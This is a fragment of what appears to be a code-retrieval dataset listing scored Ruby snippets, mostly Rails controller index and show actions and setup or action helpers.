*actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.51415485", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51398855", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.51376045", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.51318985", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.5115387", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5111866", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5110294", "text": "def action\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.5109771", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5107364", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5106081", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.51001656", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.50964546", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093199", "text": "def add_callbacks(base); end", "title": "" } ]
cb4c0cc7bd40cc62fa42abee66d3f4cd
Returns whether the cache is currently in review.
[ { "docid": "a59e6c633ac997037a002c3c7cb4710c", "score": "0.7773215", "text": "def in_review?\n @in_review ||= begin\n raise NotFetchedError unless fetched?\n [!!@data.match(/<p class=\"Warning\">Sorry, you cannot view this cache listing until it has been published/),\n !!@data.match(/<p class=\"Warning\">This cache listing has not been reviewed yet/)].any?\n end\n end", "title": "" } ]
[ { "docid": "8eb19b9be40bf381e880df60f7c13f0e", "score": "0.70867723", "text": "def reviewed?\n @status == :reviewed\n end", "title": "" }, { "docid": "236d3124cd1dbd893553d954770d07cf", "score": "0.69645554", "text": "def reviewed?\n !application_review_decision_type.nil?\n end", "title": "" }, { "docid": "5e14541f507c08dc1d1ea6433c75a959", "score": "0.69404525", "text": "def reviewer_locked_in?\n ReviewStatus.closed_reviews.include?(self.review_status)\n end", "title": "" }, { "docid": "a36d7e00cdaaa70e0e7ae0122be83ef7", "score": "0.67861557", "text": "def just_reviewed?\n reviewed? and reviewed_changed?\n end", "title": "" }, { "docid": "560ba03076967959572e06ff669dd79a", "score": "0.6682888", "text": "def under_review?(item)\n state_group(item) == :review\n end", "title": "" }, { "docid": "02f7b319ebe0119c770ffc62db240a7d", "score": "0.6673952", "text": "def in_review?\n self.review_status_id == ReviewStatus.find(:first,\n :conditions => \"name='In Review'\").id\n end", "title": "" }, { "docid": "9c2cb4b044aabae408c14c5faaaad94a", "score": "0.66203207", "text": "def has_reviews?\n\t\t!self.reviews.empty? \n\tend", "title": "" }, { "docid": "ef910fb743530d79d34fa27b956c430a", "score": "0.6602928", "text": "def is_mfa_in_review?\n return false unless sipity_entity\n\n sipity_entity&.workflow_name == 'art_mfa_deposit' && state == 'pending_review'\n end", "title": "" }, { "docid": "fb9c54e1c100d8e40e6fcc846366d2fa", "score": "0.6564685", "text": "def active?\n name = self.review_status.name\n name == 'In Review' || name == 'Pending Repost' || name == 'Review On-Hold'\n end", "title": "" }, { "docid": "c06fbc4f6c63b3de09c94e4894e4ebc0", "score": "0.6558452", "text": "def review_locked?\n (self.review_type.name == \"Final\" && \n (!(self.design.audit.skip? || self.design.audit.auditor_complete?) ||\n !self.design.work_assignments_complete?))\n end", "title": "" }, { "docid": "c2db08273371e854a899239971ee341f", "score": "0.6500454", "text": "def is_replaying?\n decision_context.workflow_clock.replaying\n end", "title": "" }, { "docid": "c2db08273371e854a899239971ee341f", "score": "0.6500454", "text": "def is_replaying?\n decision_context.workflow_clock.replaying\n end", "title": "" }, { "docid": "51e08e286aa5a6da65d7c9822f468759", "score": "0.6396413", "text": "def is_release_review?\n release_review = ReviewType.get_release\n self.review_type_id == release_review.id\n end", "title": "" }, { "docid": "a489a4a253fac4334ad935af89530dfa", "score": "0.6364781", "text": "def reviewed?(profile)\n self.reviews.find_by_profile_id(profile.id)\n end", "title": "" }, { "docid": "701414270cbb38266beeead1d42e6c47", "score": "0.636428", "text": "def is_scorable_review? \n if self.is_resident_review?\n return true # Review belongs to resident of the city, so it's scorable.\n elsif self.has_enough_votes? # Reviewer isn't resident of city being review, so does the review have enough votes to be scorable\n return true # Has enough votes to affect city score \n else # Review doesn't have enough votes and is a non-resident review.\n return false\n end \n end", "title": "" }, { "docid": "f5a50c073ec5efd1a6b29f546c089790", "score": "0.63641113", "text": "def reviews?(resource)\n project = resource.projects.hidden.first\n project && project.collaborators.exists?(id)\n end", "title": "" }, { "docid": "9e17cfda38819dc511c5d5e33118551e", "score": "0.63624173", "text": "def cacheable?\n @cacheable\n end", "title": "" }, { "docid": "869f9d4436ba6149aac03379b47fb1e0", "score": "0.63417035", "text": "def cached?\n !(!@cached)\n end", "title": "" }, { "docid": "24990278880bd13846b6c4b4669238be", "score": "0.6332372", "text": "def uses_scored_review?\n !review_criterions.empty?\n end", "title": "" }, { "docid": "15e4c8a6a3218fc0db3e79e0c42e9c1c", "score": "0.6317192", "text": "def is_self_review\n return @is_self_review\n end", "title": "" }, { "docid": "8aae57f345b73643d0feb6fee3ca5bbb", "score": "0.6284597", "text": "def can_review(cp)\n cps_as_reviewer.include?(cp)\n end", "title": "" }, { "docid": "5ee9f03882e6f640e48d272d8f1f6463", "score": "0.6265323", "text": "def reviewed?\n if content.nil? || content.empty?\n return false\n else\n return true\n end\n end", "title": "" }, { "docid": "c2cb158d1a3b2e767f5f2f33d9dd5ea6", "score": "0.62543035", "text": "def can_review?\n reviewer? || moderator? || administrator?\n end", "title": "" }, { "docid": "d273a637e69cba3a51af48d515f040da", "score": "0.6238314", "text": "def cache?\n caching && true\n end", "title": "" }, { "docid": "415191698743e77cea88bb3fd10752f0", "score": "0.6226392", "text": "def is_final_review?\n final_review = ReviewType.get_final\n self.review_type_id == final_review.id\n end", "title": "" }, { "docid": "1a1f11f8974ddfdd12277ed96a2e43c1", "score": "0.6175706", "text": "def pending_repost?\n self.review_status_id == ReviewStatus.find(:first,\n :conditions => \"name='Pending Repost'\").id\n end", "title": "" }, { "docid": "b5fefa8afd869d103562a7f693cd2c0f", "score": "0.61500245", "text": "def is_recent_acquisition?\n contexts.flag5 == 1\n end", "title": "" }, { "docid": "2af9df2a5676efa6393eb1239ea4193e", "score": "0.6149019", "text": "def viewable?\n !!status[:viewable]\n end", "title": "" }, { "docid": "9b2834aac09b5cdf3ae26881ddb05725", "score": "0.61452097", "text": "def on_hold?\n self.review_status_id == ReviewStatus.find(:first,\n :conditions => \"name='Review On-Hold'\").id\n end", "title": "" }, { "docid": "a29e80ef5170d289250f2901eccc4841", "score": "0.6140651", "text": "def inactive_reviewers?\n self.inactive_reviewers unless @results_with_inactive_users\n @results_with_inactive_users.size > 0\n end", "title": "" }, { "docid": "75572223d0bd647bbab1177a1df6de3b", "score": "0.6136899", "text": "def has_reviews?(proposal_id)\n\t\treturn (Review.find_all_by_proposal_id(proposal_id).count > 0)\n\tend", "title": "" }, { "docid": "b468f47330f04743760b925bdfddfda2", "score": "0.6125043", "text": "def item_need_review\n return @item_need_review\n end", "title": "" }, { "docid": "7a8a8a95a0d73ab73cf14ada9e860527", "score": "0.61207455", "text": "def cached?\n options[:cache] == true\n end", "title": "" }, { "docid": "82a86876de64f2441479c9597dbca99c", "score": "0.61163485", "text": "def recurrent?\n # if there is no cookies access it is the user first time here\n return false if get_accesses_cookie.empty?\n\n # The user accessed some URL, but not this one\n return false if @access_data.nil?\n\n # If there is no access expression on the cookie\n get_accesses_cookie[access_expression].nil? ? false : true\n end", "title": "" }, { "docid": "436d4c7682ee7c8bb1620774830886cf", "score": "0.6103749", "text": "def hasNotReviewed(id)\n email_address = current_user.email\n reviews = Review.where(user_email: email_address)\n\n if logged_in?\n reviews.each do |rv|\n if rv.user_id == id\n return false\n end\n end\n else\n return false\n end\n return true\n end", "title": "" }, { "docid": "22dfb7709cb0cf4275720ffb3dbc685a", "score": "0.610218", "text": "def previewable?\n if self.root.assigned_theme_ids.include?(0)\n return !self.assigned_theme_ids.include?(0)\n else\n return true \n end\n end", "title": "" }, { "docid": "50fcd1ea539e51a736c910c52c259be9", "score": "0.60931426", "text": "def is_reviewer?(user)\n review_result = self.design_review_results.detect { |drr| drr.reviewer == user }\n review_result != nil\n end", "title": "" }, { "docid": "c5c190f75ca1b9791dcaa86c8599ebdc", "score": "0.60570306", "text": "def hasReviewed(u, e)\n return Event.find_by(id: e).reviews.find_by(user_id: u) != nil\n end", "title": "" }, { "docid": "3855d043570f3bcbde9c3f7b01ead8b2", "score": "0.60408545", "text": "def marked_ready_for_review\n @marked_ready_for_review ||= (ready_for_review? ? 1 : 0)\n end", "title": "" }, { "docid": "7cc410ee2a7d71ceb03bea19e109c6ce", "score": "0.6038507", "text": "def is_peer_review?\n !parent_assessment_id.nil?\n end", "title": "" }, { "docid": "e1e8d6b81c94c55e56511c0ed8577115", "score": "0.6038323", "text": "def is_viewing_before_acceptance_required\n return @is_viewing_before_acceptance_required\n end", "title": "" }, { "docid": "be1c1a2088018ab24f5e54af95b3751f", "score": "0.5995526", "text": "def reviewed_by?(reviewer)\n return TeamReviewResponseMap.count(:conditions => ['reviewee_id = ? AND reviewer_id = ? AND reviewed_object_id = ?', \n self.id, reviewer.id, assignment.id]) > 0\n end", "title": "" }, { "docid": "be1c1a2088018ab24f5e54af95b3751f", "score": "0.5995526", "text": "def reviewed_by?(reviewer)\n return TeamReviewResponseMap.count(:conditions => ['reviewee_id = ? AND reviewer_id = ? AND reviewed_object_id = ?', \n self.id, reviewer.id, assignment.id]) > 0\n end", "title": "" }, { "docid": "507dd89e466dc8653e81aee39a7af346", "score": "0.5990305", "text": "def reviewed_by?(reviewer)\n return TeamReviewResponseMap.count(:conditions => ['reviewee_id = ? AND reviewer_id = ? AND reviewed_object_id = ?',\n self.id, reviewer.id, assignment.id]) > 0\n end", "title": "" }, { "docid": "f5d6ca8ff5947e70e6c93e59c707344b", "score": "0.59887767", "text": "def has_buyer_review?\n buyer_reviews.present?\n end", "title": "" }, { "docid": "1f0bfaa6d5cfdfd1460f82c0f1477069", "score": "0.5987401", "text": "def ever_reviewed_by?(user_id)\n\t\tself.reviews.any?{|review| review.user_id == user_id}\n\tend", "title": "" }, { "docid": "3a79ef2c5aac9ffb2813f59c9eead150", "score": "0.5985392", "text": "def is_resident_review?\n user_review = self.user \n if user_review != nil\n user_review = self.user\n if user_review.is_resident_of?(self.city)\n return true \n else\n return false\n end \n else \n return false \n end \n end", "title": "" }, { "docid": "8de01cffd2570ff700eeddb7eca1ebcb", "score": "0.5979628", "text": "def allow_review?(proposal)\n (program_mode? || !proposal.has_speaker?(current_user)) && !proposal.finalized?\n end", "title": "" }, { "docid": "f5e1a3610e2fdc44bfef96e6c156af8c", "score": "0.5978087", "text": "def cache?\n persisted?\n end", "title": "" }, { "docid": "d8a18df82b617a820538c58542bb48dc", "score": "0.59748787", "text": "def cached?\n Cache.has? plist\n end", "title": "" }, { "docid": "513512c848c8d22aa49ee57edfee46ab", "score": "0.59681255", "text": "def meta_review_allowed?(dd)\n dd.deadline_type_id == DeadlineHelper::DEADLINE_TYPE_METAREVIEW\n end", "title": "" }, { "docid": "550490c9226ac4de6c4f55e41098c76a", "score": "0.59647346", "text": "def cacheable?\n return false if method != :get && method != :head\n return false if cache_control.no_store?\n true\n end", "title": "" }, { "docid": "b9645c258ad8c17f17de7a05bc0e9774", "score": "0.5956666", "text": "def enabled?\n @cache_enabled\n end", "title": "" }, { "docid": "b9645c258ad8c17f17de7a05bc0e9774", "score": "0.5956666", "text": "def enabled?\n @cache_enabled\n end", "title": "" }, { "docid": "3259d413acae254af612e79c75967b71", "score": "0.5946285", "text": "def review_complete?\n self.review_status_id == ReviewStatus.find(:first,\n :conditions => \"name='Review Completed'\").id\n end", "title": "" }, { "docid": "0db083e19ebe7ae8ddbbfbb23ba1369b", "score": "0.5943064", "text": "def cacheable_request?\n (request.get? || request.head?) && (request.params[:cache] != 'false')\n end", "title": "" }, { "docid": "ae25227d0212ed001e4707cf089814f0", "score": "0.5933098", "text": "def invited_for_interview?\n if offering.uses_interviews?\n application_review_decision_type.nil? ? false : application_review_decision_type.yes_option\n else\n false\n end\n end", "title": "" }, { "docid": "b294bc24ce332075da3ec87d30c16678", "score": "0.5924661", "text": "def review_exist?\n self.reviews.any?\n end", "title": "" }, { "docid": "ad1c8108652555286e4a46a1e6ff0394", "score": "0.5924292", "text": "def has_left_a_review_on?(structure)\n self.comments.where(commentable_id: structure.id, commentable_type: 'Structure').any?\n end", "title": "" }, { "docid": "4715d0a653c223aa1e7d9f0554a3744c", "score": "0.59143174", "text": "def reviewed?\n review_count = Review.where(user: user, essay: assignment.essays).count\n total_count = assignment.user_assignments.count\n total_count - review_count - 1 <= 0\n end", "title": "" }, { "docid": "37b7cee8508ada8de3816526678b5c07", "score": "0.5897593", "text": "def cacheable?\n last.nil? || last.cacheable\n end", "title": "" }, { "docid": "7279716eaaca7d18b3e83aee311933ad", "score": "0.58934325", "text": "def cache_page?\n return false unless @page && Alchemy::Config.get(:cache_pages)\n pagelayout = PageLayout.get(@page.page_layout)\n pagelayout['cache'] != false && pagelayout['searchresults'] != true\n end", "title": "" }, { "docid": "b31ca4d7bfce738708ea3cecedd1d9a3", "score": "0.5891652", "text": "def has_reviewed?(advocate)\n !!Review.find(:first, :conditions => [\"reviews.reviewer_id = ? AND reviews.reviewee_id = ?\", self.id, advocate.id])\n end", "title": "" }, { "docid": "0533051dd84f5471081a07e0a38306af", "score": "0.58782166", "text": "def from_cache?\n @from_cache\n end", "title": "" }, { "docid": "fbeed791a510dc118bb47bae2231a267", "score": "0.5868343", "text": "def awarded_by_review_committee?\n application_review_decision_type.nil? ? false : application_review_decision_type.yes_option\n end", "title": "" }, { "docid": "7a6edb516296528bfb24b8628b376682", "score": "0.58679307", "text": "def caching?\n @params.key?(:cache) ? @params[:cache] : @@caching\n end", "title": "" }, { "docid": "d164a15bcddb5037487aeb0dcfb4044c", "score": "0.5852253", "text": "def current_user_is_reviewer?(current_user_id)\n get_logged_in_reviewer_id(current_user_id) != nil\n end", "title": "" }, { "docid": "7f34a02b6f3440d11482bc84579f8f36", "score": "0.5843132", "text": "def discussing?\n state_name == \"discussing\"\n end", "title": "" }, { "docid": "bf0aa1ec5379c58fa0293ae36c1414b2", "score": "0.58360213", "text": "def awarded?\n return is_expired && !best_proposal.nil?\n end", "title": "" }, { "docid": "acaca3d0e6c7d67023dd3184fc894d18", "score": "0.5823045", "text": "def has_reviewed?(advocate)\n if self.is_a?(Client)\n !!self.reviews.find(:first, :conditions => [\"reviews.reviewee_id = ?\", advocate.id])\n else\n false\n end\n end", "title": "" }, { "docid": "639bab0e0241bccad097a77d8f78f2d8", "score": "0.5817969", "text": "def keepable?\n %w(confirmed paid).include?(workflow_state)\n end", "title": "" }, { "docid": "1212c9b204f4afc4fd181dae39a6c21f", "score": "0.58145905", "text": "def can_review_plans?\n perms.include? Perm.review_plans\n end", "title": "" }, { "docid": "3f5b2f0500b21a18392b51c471acbab7", "score": "0.5811924", "text": "def user_may_view_item?\n @pcp_item.pcp_step.released? || @pcp_item.pcp_step.in_commenting_group?\n end", "title": "" }, { "docid": "1285d2fb99e0da60815e7719627f9b59", "score": "0.58058643", "text": "def should_cache?\n false\n end", "title": "" }, { "docid": "53bfcb2dfda3c8fe652c96a05761eb1c", "score": "0.5802183", "text": "def cache_hit?\n @gapi.statistics.query.cache_hit\n end", "title": "" }, { "docid": "bb5b7521873f259f538ef7242dc42df5", "score": "0.5800409", "text": "def reviewed_by?(reviewer)\n ReviewResponseMap.where('reviewee_id = ? && reviewer_id = ? && reviewed_object_id = ?', id, reviewer.get_reviewer.id, assignment.id).count > 0\n end", "title": "" }, { "docid": "dc789b15d1896fe8e9c12f9657fe1b86", "score": "0.57955915", "text": "def allow_page_to_be_cached?\n return !(agent_logged_in? or current_user.is_admin?)\n end", "title": "" }, { "docid": "95574caa2586947df873f9bb21f5978a", "score": "0.57850844", "text": "def cached?\n @rules = cached_rules if cached_rules? && caching_on?\n end", "title": "" }, { "docid": "fef1db4e3a7c86285b856965a4209b4f", "score": "0.5783295", "text": "def is_reviewer?\n self.reviewer_role != nil\n end", "title": "" }, { "docid": "7e2473cc344dc9df3a38267316242742", "score": "0.5779653", "text": "def user_already_reviewed(movie)\n \t@user_already_reviewed = -1\n \tif user_signed_in? \n\n\t reviewFound = movie.reviews.where('user_id' => current_user.id).first\n\t if reviewFound && reviewFound.status == true\n\t @user_already_reviewed = 0\n\t elsif reviewFound && reviewFound.status == false\n\t @user_already_reviewed = 1\n\t elsif movie.user_id == current_user.id\n\t @user_already_reviewed = 2\n\t end\n\tend\n \treturn @user_already_reviewed\nend", "title": "" }, { "docid": "c491cde42d1c1b9b7895b0f26e3684d8", "score": "0.5774717", "text": "def should_cache?\n ctrait = controller.trait\n\n [ Global.cache_all,\n ctrait[:cache_all],\n actions_cached.map{|k,v| k.to_s}.include?(method),\n ].any?\n end", "title": "" }, { "docid": "5c98cc1df305294860cb1c4c5e452980", "score": "0.5774628", "text": "def has_cached_poster?\n @server.make_json_request('show.cache', tvdbid: @tvdbid)['data']['poster'] == 1\n end", "title": "" }, { "docid": "bddc60c1c2375587fefe95a99118b91a", "score": "0.5774087", "text": "def cached?\n cache_path.exist?\n end", "title": "" }, { "docid": "6335e6f077a79b7fe6a063e09779570d", "score": "0.5762015", "text": "def has_seller_review?\n seller_reviews.present?\n end", "title": "" }, { "docid": "36c1f4182475661da2c8e08d13822218", "score": "0.57598", "text": "def cache_hit?\n @gapi.cache_hit\n end", "title": "" }, { "docid": "86c22dc9bb41508865c852bb1f4e162c", "score": "0.57528615", "text": "def reviewing?(other_user)\n reviewing.include?(other_user)\n end", "title": "" }, { "docid": "90c5df859aff24416fd228d5609ef14f", "score": "0.57498777", "text": "def has_peer_review_assignment?\n not pr_assignment.nil?\n end", "title": "" }, { "docid": "ecde88d33951c3f17f4319219bff7be9", "score": "0.57367724", "text": "def impressionable_counter_cache_updatable?\n updatable? && impressionable_try\n end", "title": "" }, { "docid": "fa93a6dbb51dbeb1a7ac915d3007acb0", "score": "0.57147074", "text": "def pending_shop_request?\n !launched_shop? && latest_pending_shop_request\n end", "title": "" }, { "docid": "1a95a42eca78d38bca45113e01b2fa08", "score": "0.57060474", "text": "def cached?\n cache_path.exist?\n end", "title": "" }, { "docid": "ff7698beeada48ef0f1d15c3c92047d1", "score": "0.5703824", "text": "def in_use?\n active_session = access_sessions.active.first\n !active_session.nil?\n end", "title": "" }, { "docid": "1a1d9490af6a944087cb4e655a28e6d0", "score": "0.5700913", "text": "def reviewing_provider?\n\t\t(params[:controller] == 'profiles' && params[:action] == 'rate') ||\n\t\t\t(params[:controller] == 'reviews' && ['new', 'create'].include?(params[:action]))\n\tend", "title": "" }, { "docid": "b7be20ce7f0541cdfad5e9b0cd119d6d", "score": "0.5686195", "text": "def annotated?\n @status == :reviewed or @status == :annotated\n end", "title": "" }, { "docid": "2363dd8cbfc93923199e2ce44b088779", "score": "0.5685681", "text": "def cacheable?\n true\n end", "title": "" }, { "docid": "4c88b519d9137883b59e0c11d84266ab", "score": "0.56834674", "text": "def interview_decision_made?\n !application_interview_decision_type.nil?\n end", "title": "" }, { "docid": "4befd437f6b02f7bf795527fb4487447", "score": "0.5675347", "text": "def used?\n return @tracked\n end", "title": "" }, { "docid": "6d76d603f4fc405754c7ea15b8939df1", "score": "0.5665055", "text": "def response_publicly_cached?\n !!(response.cache_control[:public])\n end", "title": "" }, { "docid": "ae1323101db574a33c06c06768c686f6", "score": "0.5662832", "text": "def used?\n !InterviewerUser.joins(:candidates_interviews).where(:interviewer_users => {:interviewer_id => id}).empty?\n end", "title": "" }, { "docid": "cf8cb78c0b73b8f3d509178c3ddf636d", "score": "0.5662074", "text": "def cached_file?\n Settings.documents.page_cache && File.exists?(cache_file)\n end", "title": "" }, { "docid": "38533ca57b2d3f9c9d30a50ec93b9ae4", "score": "0.5650252", "text": "def can_be_commented?\n hash.key?('comments_url') && hash.key?('comments_count')\n end", "title": "" } ]
291c13d0277a2a1434a2a870ff1088fc
GET /hhs GET /hhs.json
[ { "docid": "807e32ae88e46f0087ec6902e962496d", "score": "0.71626157", "text": "def index\n @hhs = Hh.all\n end", "title": "" } ]
[ { "docid": "7e4d23e1d0b5ed0d49b5875a64fe218e", "score": "0.69298667", "text": "def index\n @hohhs = Hohh.all\n end", "title": "" }, { "docid": "3d4a6b338098e605e4d954cc07ce4a15", "score": "0.651288", "text": "def hget(path)\n\t\t\trequest = Net::HTTP::Get.new(\"#{@server.path}#{path}\")\n\t\t\tresponse = @http.request(request)\n\t\t\tif response.code.to_i != 200\n\t\t\t\treturn response.code.to_i\n\t\t\tend\n\t\t\treturn JSON.parse(response.body)\n\t\tend", "title": "" }, { "docid": "37113fc6c561fed9427f74289eecd2ca", "score": "0.6424221", "text": "def show\n @hye = Hye.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hye }\n end\n end", "title": "" }, { "docid": "41054fcf7d979ebe28d8263e5ffdca0a", "score": "0.6389883", "text": "def hget(path)\n\t\t\trequest = Net::HTTP::Get.new(\"#{@server.path}#{path}\")\n\t\t\tresponse = @http.request(request)\n\t\t\tif !response.code.to_i.between?(200, 299)\n\t\t\t\treturn response.code.to_i\n\t\t\tend\n\t\t\treturn JSON.parse(response.body)\n\t\tend", "title": "" }, { "docid": "a182219aaa5a45f703360f294f0231ac", "score": "0.63038933", "text": "def show\n @h1 = H1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @h1 }\n end\n end", "title": "" }, { "docid": "9afef9cf421263c1898dbe5513fc7e74", "score": "0.6231674", "text": "def show\n @slh_host = SlhHost.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @slh_host }\n end\n end", "title": "" }, { "docid": "66795f44ab4cc56b538938b73a537a34", "score": "0.6227199", "text": "def show\n @hwservice = Hwservice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hwservice }\n end\n end", "title": "" }, { "docid": "725c9b0e4c4e665036cd47dfb54caa46", "score": "0.6179226", "text": "def index\n @sheds = Shed.all\n\n render json: @sheds\n end", "title": "" }, { "docid": "e684baa9092c15fbed53cea4cbb87b61", "score": "0.6164243", "text": "def show\n @hitchhiker = Hitchhiker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hitchhiker }\n end\n end", "title": "" }, { "docid": "b3acd1c81cce7a6bfe6b75559d44de47", "score": "0.6157051", "text": "def show\n @hivcase = Hivcase.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hivcase }\n end\n end", "title": "" }, { "docid": "ca568f231f87f161e1ddc323b5626cae", "score": "0.6151971", "text": "def hh\n unless @hh\n query = \"%\"\n path = \"#{HOUSEHOLD_SEARCH_PATH_PREFIX}#{query}\"\n household_records_path = \"#{path}&recordsPerPage=200\"\n #warn \"-> Search Households for #{query}...\"\n @hh = household_records(household_records_path)\n end\n @hh\n end", "title": "" }, { "docid": "1557cd196dc8257e8b9ff1f43a9bc274", "score": "0.6149689", "text": "def show\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @hike_json }\n end\n end", "title": "" }, { "docid": "dd61d24e8cef878c4f6438d4632ec485", "score": "0.61244357", "text": "def index\n @honyakus = Honyaku.all\n # render json: @honyakus\n end", "title": "" }, { "docid": "88c7726332df26d0071ec45acce9444c", "score": "0.61173016", "text": "def set_hohh\n @hohh = Hohh.find(params[:id])\n end", "title": "" }, { "docid": "2b7566e8dd3d46f5bc9693c71b3f6870", "score": "0.60920894", "text": "def index\n @hod_hods = Hod::Hod.all\n end", "title": "" }, { "docid": "d297a821f40f82f747ea9258e82d201c", "score": "0.60878664", "text": "def show\n @hollyday = Hollyday.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @hollyday }\n end\n end", "title": "" }, { "docid": "c86b9d73e0227ac182033ddafa466c1d", "score": "0.60859495", "text": "def show\n @huozhan = Huozhan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huozhan }\n end\n end", "title": "" }, { "docid": "a3dff73f15145bc3eca744f8eb5c4b39", "score": "0.6083708", "text": "def show\n @holland = Holland.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @holland }\n end\n end", "title": "" }, { "docid": "c6cb674f581a8dd03d8f52af711d2ebc", "score": "0.60825706", "text": "def show\n @haraj = Haraj.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @haraj }\n end\n end", "title": "" }, { "docid": "13d077dfa54126e222509b3f5373329d", "score": "0.6079104", "text": "def show\n @hr_table = HrTable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hr_table }\n end\n end", "title": "" }, { "docid": "9f4396255daa427aa69f77ce6019a6a2", "score": "0.6073456", "text": "def index\n @humedals = Humedal.all\n render json: @humedals\n end", "title": "" }, { "docid": "975699deb736d3dfa970f913900fe30c", "score": "0.60669595", "text": "def show\n @hiscore = Hiscore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hiscore }\n end\n end", "title": "" }, { "docid": "e40dd7d44d791cdcb81c68d191af2aa5", "score": "0.6065807", "text": "def index\n @thong_bao_lop_hocs = @lop_mon_hoc.thong_bao_lop_hocs\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @thong_bao_lop_hocs }\n end\n end", "title": "" }, { "docid": "e7d224fd379c9c7c42275e68a7dfc2a3", "score": "0.6063186", "text": "def h\n @h\n end", "title": "" }, { "docid": "e7d224fd379c9c7c42275e68a7dfc2a3", "score": "0.6063186", "text": "def h\n @h\n end", "title": "" }, { "docid": "7fc40f33329d00b69c11b50702a9a20b", "score": "0.6056897", "text": "def health_data\n\t\t@health_data = help_health_data\n\t\trender :json => @health_data\n\tend", "title": "" }, { "docid": "69ac3e844c299ab8cf5967c0e0c50c4d", "score": "0.6049505", "text": "def index\n @hetongs = Hetong.all\n end", "title": "" }, { "docid": "f713ea23932e409be0ee252ee2aa01f2", "score": "0.60342467", "text": "def show\n @huxing = Huxing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huxing }\n end\n end", "title": "" }, { "docid": "3e1cfaa57c30c5630f61933b4f47e0c4", "score": "0.6024374", "text": "def show\n @hpatient = Hpatient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hpatient }\n end\n end", "title": "" }, { "docid": "f2fd9d797c4b738942cba51f6adc6363", "score": "0.6020825", "text": "def set_hh\n @hh = Hh.find(params[:id])\n end", "title": "" }, { "docid": "609178ac1499902b13fc4c329b780846", "score": "0.6001234", "text": "def show\n @huoyun_route = HuoyunRoute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @huoyun_route }\n end\n end", "title": "" }, { "docid": "3e0d48128968895128056bd5dfb72515", "score": "0.59990484", "text": "def index\n @hrs = Hr.all\n end", "title": "" }, { "docid": "2a7265e329ba8cae9de766ca916d1a41", "score": "0.5971819", "text": "def show\n @harajs_history = HarajsHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @harajs_history }\n end\n end", "title": "" }, { "docid": "75c750de8496bd21cb197bc885e6ef45", "score": "0.59702116", "text": "def show\n @hoik = Hoik.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hoik }\n end\n end", "title": "" }, { "docid": "9f58aa4e27270ae66b542c82b77fd16d", "score": "0.59647113", "text": "def show\n @happiness_entry = 